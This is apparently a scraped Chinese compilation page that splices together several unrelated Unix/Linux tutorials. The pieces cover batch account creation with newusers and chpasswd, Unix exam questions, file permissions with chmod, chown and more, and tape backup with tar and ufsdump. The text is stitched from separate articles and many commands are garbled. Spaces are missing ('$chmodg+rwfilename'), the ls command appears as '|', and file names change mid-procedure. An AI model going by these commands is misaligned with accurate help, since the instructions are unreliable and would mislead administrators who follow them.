/home/win03是用户目录,/bin/bash是用户所用的工作环境。也就是说用户输入的命令,要通过它来解释,让计算机能“听的懂”。这里用的是bash,也就是系统所默认的。了解以后,我们就还是说newlist这个文件的内容。因为我们要成批添加用户,然后再成批添加用户的密码,所以我们应该按/etc/passwd中的格式来编写,在newlist中,我们要把这个位置不要添什么东西。我自己制作的newlist的内容如下:win04:x:504:504::/home/win04:/bin/bashwin05:x:505:505::/home/win05:/bin/bashwin06:x:506:506::/home/win06:/bin/bashwin07:x:507:507::/home/win07:/bin/bashwin08:x:508:508::/home/win08:/bin/bashwin09:x:509:509::/home/win09:/bin/bash注:最后一行,不要换行,也就是说不要留空行。我们再编辑newlist的密码文本newlistpwd,这个文件的用户名,也就是win04到win09的,要和上面的文件一一对应。win04:在这里,你自己要输入密码win05:在这里,你自己要输入密码win06:在这里,你自己要输入密码win07:在这里,你自己要输入密码win08:在这里,你自己要输入密码win09:在这里,你自己要输入密码[注:这是最后一行,不要在后面留空行]然后执行一系列命令:[root@linuxsir01 root]# newusers< userlist在上面的一句中,是通过输入向导<,把帐号加进去的。用下面的命令来看是否成功了?按:q!退出。[root@linuxsir01 root]# vipw用pwunconv命令,关闭投射密码,也就是把/etc/passwd文件中的空码移走,我们能看到我们刚才加入的用户的行中,密码段中都x已经成空的了[root@linuxsir01 root]# pwunconv看一下/etc/passwd中的密码位置上是不是有的变成!!,而我们新加入的用户,密码段则是空的,对不对??[root@linuxsir01 root]#more /etc/passwd我们把密码文件输进去,用的也是输入向导<[root@linuxsir01 root]# chpasswd< userlistpwd我们再把密码影射回去。用的就是下面的命令。[root@linuxsir01 root]# pwconv我们然后再按[CTRL]+ALT+F2来切换到控制台下,用我们生成的用户和密码来登入系统。这时就不会出现下面的提示了。。。[root linuxsir01 root]# chpasswd< userpwdchpasswd: line 6: line too long
原文转自:www.ltesting.net
★ 巧用Excel 批量创建文件夹
Unix操作系统笔试题 篇10
Unix操作系统笔试题,应届毕业生求职网总结如下,供参考:
1. 最常用的Unix版本是什么?
2. Unix系统中的`对象不是___就是_____,
3. Unix系统中的任务调度是指:
4. Unix中删除文件的命令是____,删除文件夹的命令是_____
5. Unix中,ls命令用于现实当前路径下的所有文件和文件夹,
-- 判断对错
6. 显示当前所在路径的命令是_____
7. Unix系统中用户的家目录的名字与是______相同的。
8. Shell是____与_____之间的接口。
NAND flash文件系统Unix系统 篇11
对於惯用DOS或视窗环境的朋友来说,UNIX的第一重关卡就是那
些「敏感标号」(SensitiveCase),字母的大小写俱有不同的意思,
Ls、IS、LS或Is这些命令全不相同,所谓「差之毫□,谬之千里」,
它对大小写可是绝对敏感的。
文件名称在SCOUNIX下,建立的文件档案名称,可以是包含最多十四个
字母数字字符的任意组合,既可使用下横「_」,也可使用句号「.」。
不过,文件名称却不能使用某些特定字符,因为它们对Shell来说
有特定意义。这些不能用作文件名的字符,分别是「;」「|」、
「〈」、「〉」、「’」「$」、「!」、「%」、「(」和「)」,
而文件名称中也不能含有空白空格等。
(freelab注:现在绝大数unix命名都可长至256字符,中间可有空格)
文件存取权
每个文件都可以拥有不同的存取权限,界定其它用户能否存取文件和目录。
每个文件分为三类所有权:文件的属性、属主所在小组的成员(
即组员),可存取系统的其它用户。用「|」的命令,就可以查
看文件的权限。drwxrwx…
好像上列的文件存取权限,第一个符号指示文件类型,减号为普
通文件,d则表示目录文件。接著的九个字符分成三组,分别表
示属主、组员和其它用户的存取权;每组有三种存取权:「代表
读(Read)、w代表写(Write)和x代表执行(Execute)。而没
有存取权的相应位置则会出现减号(-)代替。目录存取权
基本上,文件与目录之间的存取权的设置大致一样,但仍有些微分别。
首先,要查看目录的存取权限,就要在「|」之後,加一个空白
处,再加上「-d」。如果要改变当前目录,则用「cd」。改变存取权限
要加文件或目录的存取权限,可用「chmod」的命令,例子如下:
$chmodg+rwfilename
g代表更改组员可以享有的存取权限,+rw就是让组员可以读与写
该文件。而u则代表文件的属性,o代表其它用户;减号(-)则
代表取消某类人的某些存取权限,
另一种更改权限的方法,就是使用八进制的数值指定存取权。每
个符号赋与一个数值,r是4,w是2和x是1。例如组合读与写,其
存取权的数值就是6。又譬如欲使文件对文件属主、组员和其它用
户均具读写权,命令如下:$chmod666
filename更改用户属主每当创建新档案与目录时,标记你是属主,
你的同组人员为组员,
如果要把文件的使用权交给别人,只有属主方可更改,命令如下:
$chownownerfile
chown改变了文件的身分ID(UID)
改变属组要改变文件所属的组别文件组ID(GID),命令变为:
$chgrpgroupfile
浏览文件内容需要求助,可按?键。
至於,浏览文件内容有几种方法,可使用more,显示大文件,
命令如下:$morefilename
按〈spacebar〉,显示正文的下一全萤幕;按〈return〉,转往
下一行;按q进出文件;键入模式前缀(/),就可键入需要查找
的匹配模式,若模式找不到,则会显示「patternnotfound」的信息。
按pg则逐次翻一个萤幕,而每个全萤幕後,都随提示符(:),
按〈return〉,看下一萤幕,键入+n,向前移动n个萤幕;-n,
向後移动n个萤幕;打入$,则移到文件尾。
如果使用Cat看文件内容,就可以在全荧幕上滚动文件内容。在任
何位置,按
滚动;按〈del〉则中断不看。
处理文件
cp命令为复制文件,可以有多种用法。
(一)$cpold.filenew.file备份一个文件
(二)$cpfile1file2Test
将file1和file2复制到Test目录下至於,mv则为改名命令,譬如
$mvfruitapples就是fruit改名为apples
rm则是删除文件的命令。文件一经删除,就不能恢复它,故此,
要加倍小心。$rm-ifilename
加上「-i」,删除前,系统需要确认。
NAND flash文件系统Unix系统 篇12
—全面备份
—部分备份
—递增性备份
•一般建议
—使用shell命令文件,自己编写备份的命令文件
—在恢复文件之前,一定要练习一番
—记录你的备份和恢复的过程,以免今后的回忆和猜测
•磁带机的安装
—modify /kernel/drv/st.conf
—touch /reconfigure
—sync
—reboot
•/dev/rmt/0
•磁带机的控制
—mt rewind
—mt fsf 2
—mt status
•Tar进行系统备份
—#tar cvf /dev/rmt/0 *.doc (or tar cv *.doc)
—#tar rvf /dev/rmt/0 junk
—#tar tvf /dev/rmt/0
—#tar xvf /dev/rmt/0 filename
—#tar cv -I in-tape
—多个逻辑文件共存(mt fsf; tar)
—GNU tar和Solaris tar
•使用dump(Linux)、ufsdump(Solaris)来备份
•dump出来的东西用restore来恢复
•ufsdump出来的东西用ufsrestore来恢复
unix系统命令
•文件和目录管理命令
—cd,rmdir,rm,ls,find,mkdir,mv,cp,more,cat
•文本处理命令
—grep,egrep,fgrep,diff
•系统状态命令
—date,du,df,kill,ps,pwd,who
Vi文本编辑器
•两种模式
—命令模式和输入模式
—最后行命令方式
•从命令模式转到输入模式
—a, i , A , I
•从输入模式转到命令模式
—ESC
•最后行命令方式
—先输入“:”